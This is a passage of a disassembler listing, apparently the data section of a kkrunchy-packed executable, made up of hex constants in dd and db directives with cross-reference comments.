5822A65Ch, 1040105h, 5040600h dd 10070001h, 11E040Ah, 2D4D0700h, 91021h, 208030Eh, 901090Dh dd 9050700h, 180F0C0Fh, 111C1D13h, 0C2A1A16h, 0A480A06h dd 7000909h, 53A0D20h, 89FF1D40h, 0A0401B5h, 0FF0A0A01h dd 390F9D89h, 6000B06h, 3670300h, 11E4C08h, 3500300h, 6DF3BFFh dd 30E0008h, 60D0208h, 7000C01h, 20F0605h, 300060Fh, 1C1D1318h dd 16112911h, 2806621Ah, 600060Ah, 30E0300h, 11E4C08h dd 3330300h, 80652h, 208030Eh, 0A01060Dh, 6050700h, 60F020Fh dd 1B180300h, 163F1C13h, 20A2A1Ah, 10409h, 5040009h, 7330001h dd 270B52h, 4171B03h, 513C0106h, 10204h, 20104h, 0B9A3C07h dd 20000A02h, 8037303h, 2060832h, 30E0300h, 300060Bh, 27000A10h dd 31B0300h, 3F1C1813h, 21E1A16h, 14030E00h, 60C2D08h dd 847260Ah, 6100009h, 3303000Ch, 99085203h, 0C062Eh, 28033303h dd 0A013505h, 0C356800h, 71B0001h, 0A8338FFh, 601B702h dd 18070002h, 111C1D13h, 8DA2C0Ch, 0FF462606h, 629FF25h dd 6683FFh, 34087B0Eh, 7983FF5Eh, 0DA3BFF08h, 13BFF08h dd 109B9008h, 83FFD772h, 1D130B3Eh, 2A1A1611h, 50A060Ch dd 2000902h, 0E070009h, 0C262C12h, 9010604h, 1F12390Fh dd 0FF12F612h, 2049C88h, 3002B01h, 4C120339h, 1061E26h dd 120E0700h, 0C06010Dh, 6D073300h, 6010D12h, 205000Ch dd 700140Ah, 2B0D0B0Eh, 2010D01h, 7002B0Ah, 0B563605h dd 2D172137h, 50B370Bh, 5212D10h, 37212D10h, 1036050Bh dd 2050837h, 0E07000Ah, 12B0D0Bh, 5000A02h, 20000902h dd 0DEF7FF07h, 4EF61BFFh, 2050B73h, 0E070009h, 2D082D0Bh dd 0FF571B0Bh, 3DC0950Fh, 13181B10h, 16111C1Dh, 4022A1Ah dd 9000109h, 270500h, 270104h, 270B0E07h, 86A1700h, 39FF0027h dd 6A210385h, 27010D0Bh, 0B6A1000h, 201050Dh, 3030002h dd 1040001h, 7000104h, 0D010010h, 2040001h, 4070001h, 95FFFF01h dd 27270B6Ah, 0B6A1000h, 104010Dh, 27030300h, 1C1B0300h dd 2A1A163Fh, 4020A06h, 9000109h, 10400h, 2088A07h, 10504h dd 234A1707h, 10A0Dh, 400010Dh, 10D01h, 4E080E07h, 6BFF10E1h dd 0FF0405F6h, 106B68Dh, 0B589FFh, 4000104h, 83FF0001h dd 40104A5h, 4070001h, 30E0001h, 158AFF08h, 951B0305h dd 6C9588FFh, 597DD86h, 0FF95031Bh, 866C9588h, 10497DDh dd 1040104h, 80E0700h, 30E0027h, 270B14h, 3C171B03h, 0FF120E0Ch dd 1240F6h, 0F7FF0592h, 0C91BFFD9h, 719B5AFFh, 8BFF08CDh dd 5684FFB5h, 0CD03050Bh, 0CD820871h, 3050871h, 0E0B9CCDh dd 9589FF08h, 458AFF10h, 0CA5D8AFFh, 10504AFh, 8AFF0083h dd 7F030345h, 626AFh, 1270403h, 3D3C0104h, 6000102h, 27040700h dd 3C010401h, 1020451h, 0FF072C00h, 0B269D39h, 2B0F06h dd 0F43C2B14h, 2BFF4921h, 8BFF007Dh, 69FF878Dh, 0C13BFFC9h dd 40104C8h, 1040001h, 1040104h, 1020400h, 80E0700h, 10C0409h dd 7000104h, 0E030001h, 0FF000803h, 0FF878D8Bh, 3BFFC969h dd 820FFFC1h, 90F27h, 912030Eh, 6E035000h, 86A4D12h, 0E000A23h dd 0FF081403h, 1E0A8D8Dh, 0A490001h, 5F89FF02h, 0B0E0700h dd 910000Ah, 303000Ch, 0B9A3C10h, 0C0104h, 5D8AFF03h, 1CA0403h dd 2040104h, 7F070001h, 1FF0F06h, 91775h, 9172C03h, 1E2BA500h dd 0FF04141Eh, 0D8FF6DDFh, 401D30Dh, 1020401h, 27000900h dd 1D1B0700h, 3F1C1318h, 0C621A16h, 0A06372Ch, 126D4912h dd 38A000Ah, 0E000A08h, 26371203h, 3000908h, 12F71014h dd 0D012029h, 10D0001h, 10A0D00h, 80E0700h, 80FF5372h dd 43170B3Eh, 2EF50837h, 8263743h, 14030009h, 222D4310h dd 2E7D81FFh, 8263743h, 14030009h, 8374310h, 2E7D81FFh dd 20000243h, 2125703h, 97E8DFFh, 0FF05000Ah, 0C099E8Dh dd 9021500h, 15E415E4h, 145E4h, 91B0744h, 98138FFh, 0A0C6BB7h dd 2060102h, 13180700h, 16111C1Dh, 60C2A1Ah, 409020Ah dd 90001h, 451073Ch, 0D000102h, 2040148h, 404001h, 0DB4D1407h dd 5283A12h, 10604h, 0B589FF04h, 1040001h, 67073C00h, 40F6FF12h dd 0FF920012h, 1BFFD9F7h, 0CD559BC9h, 958BFF08h, 0B42F6FFh dd 55CD0305h, 0CD030508h, 3050855h, 670B9CCDh, 85C7FF08h dd 8AFFFE10h, 0A580FF9Dh, 10A04AFh, 85C6FFh, 3458AFFh dd 0FFBDB003h, 0FF298D8Ah, 1BFFD9F6h, 0C823FFC9h, 4C803FFh dd 9010A1Eh, 0FF075000h, 208DF3Bh, 0FF032000h, 408F73Bh dd 60102h, 0FF02064Dh, 7005E89h, 0C0B0Eh, 3030006h, 4010410h dd 10209h, 4583FF07h, 7839FF15h, 2010D21h, 1407000Ah, 0FF083C67h dd 9127839h, 2045109h, 270001h, 13181B07h, 0E03F1C1Dh dd 20806h, 8320320h, 1383502h, 38450200h, 2070001h, 20605h dd 16111307h, 20C2A1Ah, 10409h, 2040009h, 72C0001h, 81D38FFh dd 5532606h, 10D01h, 0D00010Dh, 10401h, 2190407h, 58030001h dd 91070001h, 5E89FF08h, 38FF5372h, 4130B1Eh, 104017Fh dd 7002700h, 3F1C1D1Bh, 20000206h, 38083203h, 3000135h dd 6050203h, 13070002h, 2A1A1611h, 4090206h, 90001h, 4202700h dd 1040105h, 80E0700h, 30001h, 1C62BFFh, 1040104h, 10204h dd 0B711007h, 0C62BFF00h, 4853BFFh, 22010401h, 4021002h dd 27070001h, 131B0300h, 1A163F1Ch, 0A060C2Dh, 0B6E6812h dd 0E000C47h, 0D9631203h, 9082Dh, 23103303h, 81FF0852h dd 254FFh, 8320320h, 1093502h, 0C450500h, 45090001h, 1BE89FFh dd 90C0700h, 2060502h, 13180700h, 1611411Dh, 20C2A1Ah dd 10409h, 0FF270009h, 7009D8Bh, 270B0E14h, 171B0300h dd 85B70FFFh, 1270A06h, 85B70FFFh, 3C010401h, 1020451h dd 71078D00h, 300A0B23h, 3C145A00h, 66FF219Ah, 0DD99D3Bh dd 0FFF0105h, 1C3B7h, 9D70D07h, 401052Bh, 1070001h, 30E0300h dd 3B66FF08h, 30272E9Dh, 30E0009h, 0B9A3C08h, 30E0009h dd 11E4C08h, 8AFF0300h, 4D0D035Dh, 10401CAh, 10204h, 300A7F07h dd 68000910h, 91703h, 141E1EA5h, 45DBFF04h, 0D30DD8FFh dd 1020401h, 27000900h, 181B0700h, 3F1C1D13h, 2D1E1A16h dd 120A060Ch, 2D120E15h, 1140Bh, 40520333h, 0D9992612h dd 3500009h, 0FF122B6Eh, 2D9DE3Bh, 32032000h, 402E6D12h dd 8232D2Bh, 14030009h dd 472D4010h, 402E3708h, 908232Dh, 10140300h, 0FF082D40h dd 402E7D81h, 109350Ah, 8B66FF00h, 0FF370745h, 0FF868966h dd 0FF458B66h, 54868966h, 89FF2968h, 1554569Eh, 0BE8DFF68h dd 89FF0C02h, 14507h, 86B70FFFh, 0FF01EC07h, 186B70Fh dd 0FF1B0135h, 0B7028338h, 20601h, 1D131807h, 1A16111Ch dd 0D060C1Eh, 126490Ah, 470A06h, 64080E07h, 6010D64h, 0E07000Ah dd 0BE0FFF08h, 33FF150Bh, 1456D7C1h, 0FF14594Bh, 4D44452Ah dd 0D0188FFh, 0A0601h, 64080E07h, 3B80FF64h, 80FF470Bh dd 1B10083Fh, 0FF051510h, 18362080h, 111C1D13h, 0C621A16h dd 480A0D06h, 20A0201h, 680F4002h, 0A0C010Dh, 9260A0Ah dd 14090F43h, 20B880Fh, 7000C05h, 2081467h, 9E150001h dd 11E3Dh, 10360507h, 0F020C06h, 26000C02h, 7000C06h, 145D0B0Eh dd 1F0F010Dh, 0D081F08h, 0C0201h, 7000C06h, 0FEFF0B0Eh dd 10087145h, 1D13181Bh, 1A16111Ch, 904022Ah, 90001h, 7000104h dd 270B0Eh, 3C171B03h, 510A060Ch, 10204h, 4AF2CFEh, 2B2B0102h dd 73300B0h, 0C05126Dh, 0A000Ah, 0FF072920h, 2022F03Bh dd 0A0C0Ch, 7000135h, 0B0A1439h, 6170300h, 0A000105h, 0FF071500h dd 2201C88h, 6020006h, 6020033h, 2 dup(6020014h), 37070014h dd 86D1214h, 1237C888h, 0C888086Dh, 86D1237h, 1239C888h dd 0C867086Dh, 201B004h, 0B0B0B006h, 40700B0h, 90201h dd 2010407h, 4070009h, 90201h, 2010407h, 1040009h, 7000104h dd 24D080Eh, 401040Fh, 2 dup(4010401h), 10209h, 0BF4073Ch dd 0FF086D4Dh, 917778Dh, 458AFF00h, 0FBD0203h, 51093C09h dd 10204h, 3002707h, 1D1B1318h, 2063F1Ch, 32032000h, 1353808h dd 2030300h, 20605h, 29111307h, 60C2A00h, 409020Ah, 90001h dd 0C0D2C07h, 2B010C0Ch, 0B9390F2Bh, 17030027h, 0B2B8337h dd 4C280002h, 0CB10C1Eh, 50FFFF06h, 602B939h, 270001h dd 513C1703h, 10204h, 0AF2B07FEh, 20B37B0h, 8DFF1500h dd 8CAD0C55h, 0EB60105h, 21F43C21h, 758DFF62h, 4FC8BFFh dd 2A3A3A3h, 70FA301h, 0B2B8337h, 4C280002h, 0CB14C1Eh dd 0FF060C1Eh, 0B93950FFh, 10602h, 20B37h, 558DFF15h, 58CAD0Ch dd 210EB601h, 0B2B8337h, 4C280002h, 0CB14C1Eh, 0C1E4C1Eh dd 50FFFF06h, 602B939h, 0B370001h, 0FF150002h, 0AD0C558Dh dd 0B601058Ch, 0BF09210Eh, 61010204h, 2B2B3707h, 0C00020Bh dd 281E0C4Ch, 94C1E4Ch, 1E4C1EB1h, 0FFFF060Ch, 2B93950h dd 9000106h, 0FF032800h, 3BFF4E8Dh, 34663BC1h, 0CE152E57h dd 0BC33AFFh, 1084C6FFh, 5C8488FFh, 3BFF9090h, 88FF22D6h dd 409109Ch, 7610102h, 0A04238Dh, 0A043001h, 48D3001h dd 0E300102h, 38FF4D0Bh, 1040B9Dh, 9040104h, 7000102h dd 30010204h, 4BF210Eh, 26610102h, 10604h, 8030E03h, 10604h dd 1032503h, 4610104h, 3000106h, 24D03FCh, 401040Fh, 4010401h dd 10209h, 1020407h, 15210E0Fh, 2E374A48h, 0CB3AFFFDh dd 84C6FF0Bh, 0E0F1E10h, 69FD0B15h, 69086908h, 88FFFD0Bh dd 4E4E648Ch, 22753BFFh, 0FF9C88FFh, 8DFF5838h, 4EBB2BB5h dd 0F010604h, 10A0423h, 30E0300h, 10A0408h, 3FC0300h, 300060Ah dd 0A08030Eh, 25030006h, 4012503h, 0A040F01h, 0E030001h dd 0A040803h, 0FC030001h, 60A03h, 4032003h, 24D0F01h, 0F748DFFh dd 0B9D38FFh, 1040104h, 1020904h, 4D150700h, 40B60FFFh dd 8C0FFF56h, 0F010204h, 204210Eh, 0E030001h, 4262103h dd 3000106h, 408030Eh, 3000106h, 50403FCh, 0F010401h, 10204h dd 0B030E03h, 10204h, 0B030E03h, 0FF0F024Dh, 4219D38h dd 4010401h, 10209h, 4BF1707h, 26610102h, 10604h, 8030E03h dd 10604h, 1032503h, 4610104h, 3000106h, 24D03FCh, 401040Fh dd 4010401h, 10209h, 6042607h, 600010Ch, 10C04h, 83151707h dd 18C1239h, 831517B6h, 18C1239h, 8AFF17B6h, 0FBD0245h dd 4513C09h, 27000102h, 7F150700h, 18C0839h, 83FF15B6h dd 8C08394Dh, 1844B601h, 0FFC61B13h, 1C1D0D89h, 806CB3Fh dd 3200002h, 35380832h, 3030001h, 2060502h, 11130700h dd 0E018BFFh, 0B6018C08h, 2A1A1611h, 20A060Ch, 10409h dd 74A0009h, 43434343h, 2042C43h, 50F0C01h, 10204h, 18050E07h dd 204400Bh, 0E030001h, 4400B03h, 3000102h, 400B030Eh dd 0FB81FFD7h, 470DBF22h, 2060C01h, 0E614302h, 8D093A0Bh dd 10D5A30h, 202050Ch, 3A0B0E61h, 29713009h, 0DC34085Eh dd 2 dup(0DC0BDC0Bh), 300270Bh, 8DC3410h, 0DC50107Ch, 0DC330BB3h dd 2D200B93h, 0BD18BFFh, 2DD08BFFh, 0A0C8108h, 401AD06h dd 27000102h, 13180700h, 3F1C1D1Bh, 20000206h, 38083203h dd 3000135h, 6050203h, 13070002h, 151A1611h, 3883FF06h dd 9512008h, 0E070009h, 80E4608h, 90901h, 72080E07h, 3E83FF53h dd 41131B0Bh, 10360511h, 0C2D1A16h, 490A2806h, 0A060908h dd 0B0E0700h, 622A768h, 700020Ah, 22A70B0Eh, 20A06h, 0A70B0E07h dd 20A0622h, 0B0E0700h, 0A0622A7h, 0E070002h, 10360508h dd 1D13181Bh, 1A161141h, 60C0029h, 409020Ah, 90001h, 0F6FF07FEh dd 0FF2C76D8h, 0FF0C8D8Dh, 505C123h, 73200F14h, 2041243h dd 1040F01h, 126D330Fh, 10C0D05h, 0C766FF00h, 0FF07C145h dd 0FF05008Bh, 0D14008Bh, 1F0F0601h, 0C0D0C12h, 0D0C0C01h dd 6020105h, 121F0F3Ah, 4513C27h, 7000102h, 5B0951Bh, 6C7F037Fh dd 1B97DD86h, 867D8DFFh, 10497h, 0D030001h, 1000103h, 3040300h dd 0D140F01h, 1B140001h, 7F7D8DFFh, 0D039786h, 10001h dd 10D1415h, 0C140700h, 6010204h, 8D8BFF0Fh, 215939FFh dd 1239121Fh, 0FF9C88FFh, 0FFCC8D8Ah, 0FFC3958Dh, 2BFFCF8Bh dd 0FF3BA6CAh, 784FB60Fh, 0FF958DFFh, 0FFD0348Dh, 0C8A6CA2Bh dd 3550006h, 8912114h, 8539FF15h, 15089121h, 218539FFh dd 78B66FFh, 66FF0F01h, 150B453Bh, 128539FFh, 78B66FFh dd 66FF0F01h, 150B453Bh, 128539FFh, 6092709h, 120E0700h dd 0FF2E3766h, 8DFF3C80h, 0C6FF0B04h, 0FF0BAE00h, 38FF00C6h dd 0C6FF0B18h, 3BFF5C00h, 661B224Dh, 0BE1E38FFh, 148AFF08h dd 9689B989h, 5C1488FFh, 1C38FF25h, 0FFCEBE0Bh, 12FBCB3Bh dd 10F2702h, 7000104h, 10F2702h, 0FF000104h, 7478B66h dd 18F0F01h, 66FF0104h, 0F01078Bh, 104018Fh, 10204h, 2BFF2933h dd 65801C7h, 4070001h, 1020401h, 0F020700h, 290BF43Ch dd 49C72BFFh, 0FF3B1467h, 402F003h, 7000106h, 2040104h dd 2070001h, 0BF43C0Fh, 4501FF29h, 88F003FFh, 28172822h dd 270F06h, 1B131803h, 63F1C1Dh, 3200002h, 8E00832h, 10030038h dd 4F7B3605h, 0A290B0Eh, 1350102h, 4502B200h, 1B00010Ah dd 8738FF07h, 102B719h, 7000206h, 2111318h, 0E030038h dd 10803h, 11360503h, 206111Bh, 3200038h, 0A080332h, 60505h dd 5050006h, 6003306h, 2507A800h, 23FF765Bh, 111318C7h dd 3811131Bh dd 5B765B0Fh, 0E003811h, 380803h, 2503765Bh, 4F111B11h dd 11030051h, 2051A16h, 15DC602h, 2589FFC6h, 291E1Eh, 0FF0A060Ch dd 0F056589h, 0A1A14048h, 0A10AA102h, 10402h, 0BD89FF07h dd 2000B6Ah, 0A01040Fh, 67E30F0Ah, 210E0F12h, 0 dd 26050000h, 6050006h, 60500h, 420007h, 420042h, 1040242h dd 0F010F0Ah, 2020B0Eh, 10030300h, 3000104h, 0FF0867E3h dd 5821BC80h, 62601h, 7000206h, 2010400h, 0A0A0A0Fh, 0FF000700h dd 89FFBD89h, 23ABDh, 3030001h, 86A0B0Eh, 1000B6Ah, 3030002h dd 85FFFF10h, 1040210h, 7000100h, 1F0867E3h, 0BD89FF08h dd 10000104h, 2021740h, 11070009h, 48658BFFh, 17591740h dd 1785FFFFh, 90202h, 8BFF1107h, 4D83FF65h, 208DB48h, 3030002h dd 3E000A0Fh, 3 dup(3E3E3E3Eh), 2F2F2F3Eh, 3E3E3E2Fh, 2F3E3E3Eh dd 2 dup(2F2F2F2Fh), 1E2F2F2Fh, 4C8DFF63h, 0E981FF22h dd 85FF2DFFh, 0FF3B6301h, 8BFFC82Bh, 185FFC4h, 8CE18BFFh dd 2F1101C0h, 2F3E3E3Eh, 3 dup(2F2F2F2Fh), 0FF4F0C2Fh dd 0C20BC00Bh, 4F60344Fh, 0C28BFF60h, 0FF921034h, 4FE55C8Bh dd 0FFE9D1FFh, 0D1FFDBD1h, 0D8D1FFEAh, 0BC90BFFh, 0F7FF92EBh dd 0FF91FF64h, 22A464F7h, 54543BFFh, 443BFF22h, 442BFF2Eh dd 0FF541BFFh, 1BFF442Bh, 0DAF7FF54h, 0DA83FF5Bh, 2F2F3F1Dh dd 2 dup(2F2F2F2Fh), 4F060C2Fh, 0BC00BFFh, 60344FC2h, 0FF604F50h dd 9210D38Bh, 0E55C8BFFh, 0E9D1FF4Fh, 0FFDBD1FFh, 0D1FFEAD1h dd 0C90BFFD8h, 0FF20EB0Bh, 4F9264F7h, 0A4E6F7FFh, 543BFF22h dd 3BFF2254h, 4EFF2E44h, 1D135334h, 2F2F3E3Fh, 3B693B69h dd 0D0AD0FFFh, 11EAD3FFh, 34C28BFFh, 0FFE180FFh, 1B11E8D3h dd 3E2F1134h, 2 dup(2F2F2F2Fh), 60A2F2Fh, 0FF4F480Ch, 64B9C00Bh dd 0F7FF5BE5h, 0D883FFDAh, 0FF4489FFh, 0FF4F5489h, 64B9C00Bh dd 0F7FF5BE5h, 0D883FFDAh, 0FF4489FFh, 0BFF5489h, 4FC20BC0h dd 4F506034h, 0D38BFF60h, 0E5C25010h, 0EBD1FF4Fh, 0FFD9D1FFh dd 0D1FFEAD1h, 0DB0BFFD8h, 0FF20600Bh, 4F9264F7h, 0A4E6F7FFh dd 543BFF22h, 3BFF2254h, 4EFF2E44h, 4FFF5334h, 0DAF7FF0Bh dd 0DA83FF5Bh, 3F18131Dh, 4 dup(3E3E3E3Eh), 2F2F3E3Eh dd 5DC60105h, 0FFC64F01h, 89FF2589h, 6C8DFF6Ch, 3E2F1101h dd 38052F2Fh, 1A163F00h, 0E5A151Eh, 8DFF8C08h, 102AD55h dd 0E11FFFFh, 906154Bh, 20B6018Ch, 0B68C0115h, 0D0B1332h dd 0E0F0501h, 9095A08h, 163F1C00h, 4C05621Ah, 0D000909h dd 4F000102h, 83FF9306h, 0FF4F7B66h, 7B0E06C7h, 8C08F808h dd 1353B601h, 93063Fh, 844F6FFh, 53030006h, 64F3F13h, 488BFF93h dd 0C04E89FFh, 7B6683FFh, 6C7FF0Eh, 0B6018C08h, 63F1353h dd 0C7FF4693h, 8C080E06h, 3280B601h, 130F0608h, 3E3E3E11h dd 0FF009306h, 60844F6h, 13530300h, 2F3E3E3Fh, 4C174C2Fh dd 4C174C17h, 31172917h, 0Eh dup(31313131h), 0CEFF31h db 0FFh, 0CEh, 0 byte_3F9ED3 db 8 ; DATA XREF: kkrunchy:off_3EA408o dd 4202004h, 4040404h, 80C0404h, 4040402h, 4040404h, 40C0804h dd 0C040C04h, 4040408h, 0FF010120h, 10041810h, 8041010h dd 8080408h, 1C080808h, 0C0A0804h, 4010104h, 4040808h dd 8080404h, 10040404h, 101C0418h, 0F9F8F718h, 0FEFDFCFAh dd 10404FFh, 1010C01h, 4010101h, 41410FFh, 1FF0C08h, 80C0402h dd 404040Ch, 0C0C0808h, 2AFA01FFh, 0F4F42A2Ah, 0F4F4F4F4h dd 430F4F4h, 4320404h, 42E3204h, 40F0404h, 543C0438h, 4040444h dd 8040404h dword_3F9F70 dd 1010C08h, 1080810h, 0C0C08F8h, 808080Ch, 0C040808h ; DATA XREF: kkrunchy:003EA40Co dd 8040408h dword_3F9F88 dd 1FF0C04h ; DATA XREF: kkrunchy:003EA410o db 2, 1, 32h byte_3F9F8F db 1 ; DATA XREF: kkrunchy:003EA414o dd 2A04FF04h, 0C18183Eh, 10040C08h dword_3F9F9C dd 8010CFFh, 1C18100Ch, 0F0F701F7h, 0C0404BEh, 8080C1Ch ; DATA XREF: kkrunchy:003EA418o dd 4040808h, 408080Ch, 0C0C0C04h, 0C100C10h, 804100Ch dd 10040408h, 10101010h, 0C080818h, 8040C0Ch, 80C040Ch dd 14100C0Ch, 1080101h, 810ECECh, 804080Ch, 4010804h, 8141004h dd 14080110h, 10080814h, 10101C04h, 14081014h, 4080804h dd 8080804h, 0A004080Ch, 1C181004h, 8101C1Ch, 1081C18h dd 0FFFFFF01h, 0FDFFFFFFh, 0FFFFFCFEh, 0FFFF0801h, 0C0C08FFh dd 0C040C0Ch, 180C1804h, 8040C28h, 4080C10h, 40C0C14h dd 30100410h, 18181C10h, 18585814h, 0C0808FEh, 120C0810h dd 802120Eh, 0FF0C0408h, 8F0F00Ch, 18100810h, 8090808h dd 100C0C08h, 40C0818h, 8080404h, 80C1014h, 14080C10h dd 10080C10h, 180C0814h, 140C1014h, 14180C10h, 10140C10h dd 181C1014h, 1418181Ch, 10141810h, 1014181Ch, 80C0C0Ch dd 8100C04h db 4, 8 word_3FA0AA dw 0E8F4h ; DATA XREF: kkrunchy:003EA41Co dd 0A8F8A8A8h, 0E4F0FC08h, 0F8FCECECh, 0F8FC0CE4h, 0E4F0FCF4h dd 0F0FCECECh, 0F4E8E8F8h, 8080808h, 0F4FCF0F8h, 0F4E8E8E0h dd 0F4FC08E8h, 0E408EC08h, 0ECE4E4ECh, 0E8E008F4h, 0D5D5F8E0h dd 0F0FCFCD5h, 0F808FCF0h, 80C08F8h, 0E0F0E008h, 0E0E4E8ECh dd 0CCF8F4F8h, 0F0C0F488h, 88CCC8C4h, 0F4B8B488h, 0CCF8D0ECh dd 8FCFCFCh, 0FCFC0808h, 0FCFCDCFCh, 8FCFC08h, 0C0C0C08h dd 8080808h, 0FCF0F4F0h, 0FCFCF408h, 0F0F4F8F8h, 808F0F4h dd 2 dup(8FCF8F8h), 0F4F00808h, 0F8F80808h, 0ECD4F8D4h dd 0ECFCE4ECh, 0F408F4FCh, 0FCFC0808h, 0FC08E8FCh, 808E8FCh dd 0CE4F408h, 18181410h, 14100C1Ch, 100C0818h, 100C100Ch dd 14100C08h, 18101410h, 0FCFCFC18h, 1C1C2024h, 18181410h dd 0FC1428FCh, 1010FC10h, 8141C14h, 0F808F008h, 8F80808h dd 808F808h, 0E80808F8h, 0F8F4C8F4h, 0F4C808F0h, 0C808F0F8h dd 0F0F0F8F4h, 0ECF4CADAh, 0E808ECF0h, 8E4E4E8h, 0CDDACAC9h dd 0F0F00CDAh, 0C10F010h, 10080810h, 0E808100Ch, 0EA0CE80Ch dd 814ECE8h, 0FC0808F8h, 0CD80CD8h, 1010FCDAh, 8DCD8F8h dd 1810FC14h, 14100820h, 8E01814h, 18E01CE0h, 8081010h dd 0B8DC94DCh, 0C08DCDCh, 808080Ch, 0F8F8F808h, 0ECF8F8F8h dd 0C0CECECh, 808080Ch, 8FCFC08h, 0FCFCFC0Ch, 0FCFC0C08h dd 0FC0C08FCh, 80C08FCh, 80C0808h, 0E0DCE4DCh, 0FC08DCFCh dd 0FC08080Ch, 0F8F808FCh, 8FCFCFCh, 0FC080808h, 0CF00CFCh dd 0F8FCF4F0h, 0FC08FCFCh, 8080808h, 0F8F8FCFCh, 0E010DCFCh dd 0E410E010h, 80CDCFCh, 0F814FCFCh, 10FCD814h, 10DC10DCh dd 0CD814E0h, 14F81408h, 0C100814h, 0F8080C08h, 8FCF80Ch dd 0E4E4FC08h, 0E8CFE8FCh, 0F8ECECEAh, 0DDEAECD5h, 0EA080808h dd 0FC08E808h, 0D5F8F8D9h, 100CFCFCh, 100C081Ch, 0EC1C1814h dd 0ECFCECFCh, 0FCFCF0FCh, 0F8F8F4F8h, 0FCFCF0F4h, 0F0F4F0F8h dd 0E0F4E0F4h, 0F8F8E0E4h, 0C0808FCh, 14100C14h, 0C0C1410h dd 0C0C0C10h, 0C0C1408h, 0EC0C0C0Ch, 0F0F4F40Ch, 0F8F8ECF8h dd 0F808F808h, 0FCF0F4FCh, 0FC0C080Ch, 0F008F4FCh, 0F0F8E8ECh dd 0F0F8E808h, 0C1008FCh, 0FCFC0CFCh, 0ECEC08ECh, 0FCFCEC08h dd 0FCEC0808h, 0F4FCF4F8h, 0F8FCF4F8h, 0D0A0E4A0h, 0FCFCFCA0h dd 8080808h, 0F4F40808h, 808FCFCh, 0FC080808h, 808FCFCh dd 80808FCh, 0C080808h, 810F8F8h, 8141018h, 1008FC0Ch dd 10101814h, 100C08FCh, 14181818h, 1010080Ch, 8FC100Ch dd 101010FCh, 10180808h, 18140C14h, 1808140Ch, 8141014h dd 0F8181410h, 8D4E0ECh, 0D8E4F008h, 0E8F4FC0Ch, 0FCD008DCh dd 0F4CCF808h, 0E8C8ECF0h, 0DCC4E0E4h, 0CCD0D4D8h, 0FC10C4C8h dd 8F0F4F8h, 0ECE8E4E0h, 0F4F0ECF0h, 0E4F8F4E8h, 0FCE0FCF8h dd 0F0F4F8FCh, 10100808h, 0FCFC100Ch, 0FCFCFCFCh, 80808FCh dd 9C989008h, 0E8F4F8DCh, 0B0F808F0h, 0E4E4C8F4h, 0FCFCECECh dd 0D8E0E0D8h, 0F008FCFCh, 8C8B0E8h, 0DCECE8F0h, 0E0E008E4h dd 0FCFCFCE0h, 0F0F8F0FCh, 0FCFCF8FCh, 0F8F4F4F8h, 0ECECF0F0h dd 0F40808F8h, 0ECFCF4F4h, 0E4E4D808h, 0F0E8E8D8h, 0EC08E0F0h dd 0D808F8FCh, 0F8FCFCECh, 0FCE8F0E0h, 0E4ECF4FCh, 0F8F4F4FCh dd 0FCFCF8F4h, 0F0080808h, 0F4F4FCFCh, 0F8F4F0F8h, 0FCE0E8F4h dd 0F8F8F4F0h, 0F4FCF4FCh, 8FCFC08h, 0F4F8F008h, 0FCF8FCF0h dd 0E8F0F4F8h, 0F8F0E8ECh, 0F8FCF0F4h, 0F0F4F8FCh, 0F0E8ECE8h dd 0FCF0F4F8h, 0F4F8FCF8h, 0E8ECE8F0h, 0E008FCE8h, 0E8ECFCE4h dd 0C08F0FCh, 8FCE8FCh, 0FCE8ECFCh, 8100CF0h, 0CFC0CFCh dd 0FC1808FCh, 0FCFCFC14h, 808FCFCh, 808F408h, 80C0808h dd 18F4FC0Ch, 1418F410h, 0FC0818F4h, 8FC0C0Ch, 0CBE8E808h dd 0F4E008E0h, 0FCF8ECD0h, 0D4D4D8E4h, 0D4E808CCh, 0F4F4E4DCh dd 0D0ECFCFCh, 0E4F0ECD8h, 0F3F0F8D0h, 8F0F1F2h, 8F4F8FCh dd 0FCF8F4ECh, 8E0F0E8h, 0F2F3CB08h, 8FCF0F1h, 80CF4F8h dd 10100C08h, 14141410h, 8FC1818h, 0FC0808FCh, 0C0C0808h dd 0C081010h, 0FC08E810h, 808F0F8h, 0E8E8FCF4h, 0FCFCF4E8h dd 0F00808F8h, 10081CF8h, 9C971814h, 2020C0C0h, 201020E8h dd 20E810E8h, 202020E8h, 1C1C08B9h, 0A008081Ch, 0D1D7C0DDh dd 0C6A5C5CBh, 0D2AFCCAAh, 94C0D8B4h, 0F4C09183h, 0C0C0C0F4h dd 4 dup(20202020h), 20201C1Ch, 1C202020h, 0F0202020h dd 0F4F3F2F1h, 0F8F7F6F5h, 0FBF9FAF9h, 8F0F3F6h, 0EC231CECh dd 0ECF0EE08h, 1C081C23h, 0F8201C1Ch, 18201CE4h, 101C1C10h dd 14180808h, 20F8E414h, 1410081Ch, 20F8E418h, 8082020h dd 0FC08FCFCh, 0CCECAC08h, 0CCCCACCCh, 0CCCCCCCCh, 0ACACACCCh dd 0ACACACACh, 0ECECECECh, 0FC08ECECh, 0C0C0808h, 0C081010h dd 0E0E00C08h, 0CE00808h, 80C1008h, 10080C10h, 14080C0Ch dd 0D4D40C08h, 80C180Ch, 0C4180C0Ch, 0C40C0CC4h, 0C4C40C18h dd 180CC4C4h, 0C080C0Ch, 8FCEC18h, 8FCEC0Ch, 14141414h dd 1808FC14h, 80C0818h, 0F0E81418h, 1814F014h, 0F0F8F8F4h dd 0F8F414E8h, 0F4F4F814h, 8FC18ECh, 0FCBC0C10h, 0C0BCC008h dd 0CCC8C0C0h, 0C8C8C8C8h, 0C888C888h, 0BCFCBCBCh, 808FCBCh dd 8080C08h, 0C08080Ch, 100C0808h, 0A8101010h, 0A808A80Ch dd 0A80CA808h, 0F80CA808h, 8FFFF10h, 0F80CFFF8h, 0FF10F80Ch dd 13FF08FFh, 0F80C13F8h, 0C0C080Ch, 100C0C0Ch, 0C0C0C08h dd 0C0C0C0Ch, 0BC08BC0Ch, 0C8FCC4C0h, 0FC0C0CCCh, 0FC0C0CD0h dd 8D80CD4h, 8E0DC0Ch, 0FCE808E4h, 0FC0C0CECh, 8080CF0h dd 0F4FC080Ch, 0CFCFCFCh, 0C00C08F8h, 8080CFCh, 0E80C0CD4h dd 0FC0CFC0Ch, 0CD00CBCh, 0C0CE40Ch, 0CC0C0CF8h, 0F408E00Ch dd 8C80808h, 0F00808DCh, 0C0C0C08h, 8C40808h, 0D0EC08D8h dd 0F4FCE8DCh, 0CCFCC0FCh, 0C0CD80Ch, 0BCF00CE4h, 0C0CC80Ch dd 0ECE00CD4h, 0D8BCC4F8h, 0C8ECD0F4h, 0F8DCC0E4h, 